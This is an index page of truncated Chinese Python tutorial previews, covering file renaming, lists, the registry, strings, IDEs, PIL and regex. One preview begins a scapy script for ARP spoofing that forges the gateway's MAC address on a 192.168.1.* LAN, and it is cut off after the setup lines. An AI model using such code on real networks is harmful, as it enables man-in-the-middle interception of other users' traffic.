Time of Update: 2016-06-06
將Copy of ********.bmp或者Copy of Copy of ********.bmp 此類檔案統一命名為********0.bmp 或者********00.bmp等格式,後面的0的個數代表********.bmp出現的次數+1。寫了個下面的小指令碼: 代碼如下: import os """ 這個程式是用來將檔案名稱改名,因為在檔案夾裡面有很多Copy of 重檔案名稱,因此去掉windows 重新命名風格而換用新的累加命名機制
Time of Update: 2016-06-06
樣本程式如下: >>> a = [-1, 3, 'aa', 85] # 定義一個list>>> a[-1, 3, 'aa', 85]>>> del a[0] # 刪除第0個元素>>> a[3, 'aa', 85]>>> del a[2:4] # 刪除從第2個元素開始,到第4個為止的元素。包括頭不包括尾>>> a[3, 'aa']>>> del a # 刪除整個list>>> aTraceback (most recent call last): File "", line 1, in
Time of Update: 2016-06-06
在Python的標準庫中,_winreg.pyd可以操作Windows的註冊表,另外第三方的win32庫封裝了大量的Windows API,使用起來也很方便。不過這裡介紹的是使用_winreg操作註冊表,畢竟是Python內建的標準庫,無需安裝第三方庫。下面的例子是通過Python擷取Windows
Time of Update: 2016-06-06
例如: import mymodule myobject = mymodule.myclass() 或者 from mymodule import myclass myobject = myclass() 如果要在程式中動態地建立類執行個體,也一樣要分兩步走,例如: m = __import__('mymodule') c = getattr(m, 'myclass') myobject = c()
Time of Update: 2016-06-06
>>> teststr = '我的eclipse不能正確的解碼gbk碼!' >>> teststr '\xe6\x88\x91\xe7\x9a\x84eclipse\xe4\xb8\x8d\xe8\x83\xbd\xe6\xad\xa3\xe7\xa1\xae\xe7\x9a\x84\xe8\xa7\xa3\xe7\xa0\x81gbk\xe7\xa0\x81\xef\xbc\x81' >>> tests2 = u'我的eclipse不能正確的解碼gbk碼!' >>> test3 =
Time of Update: 2016-06-06
先推薦一個學習python的好網址簡明 Python 教程 Swaroop, C. H. 著 沈潔元
Time of Update: 2016-06-06
這篇文檔所給出的編碼約定適用於在主要的Python發布版本中組成標準庫的Python 代碼,請查閱相關的關於在Python的C實現中C代碼風格指南的描述。 這篇文檔改編自Guido最初的《Python風格指南》一文,並從《Barry's style guide》中添加了部分內容。在有衝突的地方,Guide的風格規則應該是符合本PEP的意圖(譯註:指當有衝突時,應以Guido風格為準)。這篇PEP仍然尚未完成(實際上,它可能永遠都不會完成)。
Time of Update: 2016-06-06
一個好的整合式開發環境,能很大地提高編程效率。所以,我得需要先找一個好的python 的開發工具。eclipse +pyDev, 感覺還不錯。我把安裝過程的關鍵點,詳細記錄於本文,以便自己和讀者日後重新安裝的時候,別找不到北。eclipse 是一個java的免費的IDE, 我安裝的是 eclipse-SDK-3.2.1-win32.zip,123M
Time of Update: 2016-06-06
版本:1.20A Byte of Python Copyright © 2003-2005 Swaroop C H 簡明 Python 教程 《簡明 Python 教程》為 "A Byte of Python" 的唯一指定簡體中文譯本,著作權 © 2005 沈潔元 本書依照 創作公用約定(署名-非派生作品-非商業用途) 發布。概要無論您剛接觸電腦還是一個有經驗的程式員,本書都將有助您學習使用Python語言。前言 本書的讀者 本書的由來 本書目前的狀況 官方網站 約定條款
Time of Update: 2016-06-06
>>> import os 匯入模組 >>> os.listdir("d:\\python25") 列出所有目錄和檔案 ['w9xpopen.exe', 'README.txt', 'NEWS.txt', 'LICENSE.txt', 'python.exe', 'pythonw.exe', 'Lib', 'DLLs', 'include', 'libs', 'tcl', 'Tools', 'Doc', 'odbchelper.py', '
Time of Update: 2016-06-06
第一章 介紹 指令碼語言是類似DOS批處理、UNIX
Time of Update: 2016-06-06
常用的module是 os ,os.path 和shutil,所以要先引入他們. python遍曆檔案夾和檔案 這個也許是最常用的功能,如下: 代碼如下:import os import os.path rootdir = "D:\\programmer\\training" for parent, dirnames, filenames in os.walk(rootdir): #case 1: for dirname in dirnames:
Time of Update: 2016-06-06
1 IDLE1.1 IDLE是python創初人Guido van Rossum使用python and Tkinter來建立的一個整合式開發環境。要使用IDLE必須安裝python and Tkinter。1.2 特性:自動縮排,彩色編碼,命令曆史(Alt+p,Alt+n)和單詞自動(Alt+/)完成。1.3
Time of Update: 2016-06-06
工欲善其事,必先利其器.python是解釋型的語言,但是在windows下如果要執行程式的話還得加個python shell的話,未免也太麻煩了.而這裡所說的東西就是將python程式轉換為exe檔案.下面是一些常用的工具,不過似乎py2exe應用的更加廣泛一些. py2exe http://py2exe.sf.net 只支援windows平台,應該是大家聽到最多的一個名字了,使用者不少,所以有問題的話在它的mail
Time of Update: 2016-06-06
函數較簡單,看下面的例子: 代碼如下:s = 'hEllo pYthon' print s.upper() print s.lower() print s.capitalize() print s.title() 輸出結果: HELLO PYTHON hello python Hello python Hello Python 判斷大小寫 Python提供了isupper(),islower(),istitle()方法用來判斷字串的大小寫。注意的是: 1. 沒有提供 iscapitalize(
Time of Update: 2016-06-06
本文執行個體講述了python使用PIL縮放網狀圖片並儲存的方法。分享給大家供大家參考。具體實現方法如下:''' tk_image_view_url_io_resize.pydisplay an image from a URL using Tkinter, PIL and data_streamalso resize the web image to fit a certain size display widgetretaining its aspect ratioPil
Time of Update: 2016-06-06
本文執行個體講述了python使用arp欺騙偽造網關的方法。分享給大家供大家參考。具體實現方法如下:#coding:utf-8'''arp欺騙區域網路pc,將偽造的網關mac以網關的arp應答發送給pc'''from scapy.all import ARP,send,arpingimport sys,restdout=sys.stdoutIPADDR="192.168.1.*"gateway_ip='192.168.1.1'#偽造網關mac地址gateway_hw='00:11:22:33:4
Time of Update: 2016-06-06
Python 中有三個非常好用的資料結構,列表,元組和字典, 元組是不可變的,列表可以儲存任意類型的Python對象,並可以隨意擴充沒有大小限制, 字典是一個key-value的索引值映射的類型,可以存放任何Python對象,可以嵌套字典, 值可以是字典元組或者字典這裡說是Python 字典和列表的陷阱不如說是Python的一些特性,如果不瞭解這些特性 就會引發一些難以尋找的bug下面我們來介紹這些特性Python中所有對列表和字典的使用僅僅是對原來對象的引用而不是建立一個新的對象 如下面代碼:
Time of Update: 2016-06-06
首先來分析下需求,web程式後台需要認證,後台頁麵包含多個頁面,最普通的方法就是為每個url添加認證,但是這樣就需要每個每個綁定url的後台函數都需要添加類似或者相同的代碼,但是這樣做代碼就過度冗餘,而且不利於擴充.接下來我們先不談及裝飾器,我們都知道Python是個很強大的語言,她可以將函數當做參數傳遞給函數,最簡單的:def p(): print 'Hello,world'def funcfactor(func): print 'calling function named',
Time of Update: 2016-06-06
1.元字元: . 它匹配除了換行字元外的任何字元,在 alternate 模式(re.DOTALL)下它甚至可以匹配換行 ^ 匹配行首。除非設定 MULTILINE 標誌,它只是匹配字串的開始。 $ 匹配行尾,行尾被定義為要麼是字串尾,要麼是一個換行字元後面的任何位置。 * 重複0或N次 + 重複1或N次 ? 重複0或1次 {} 該限定符的意思是至少有 m 個重複,至多到 n 個重複 [] 它們常用來指定一個字元類別,所謂字元類別就是你想匹配的一個字元集 \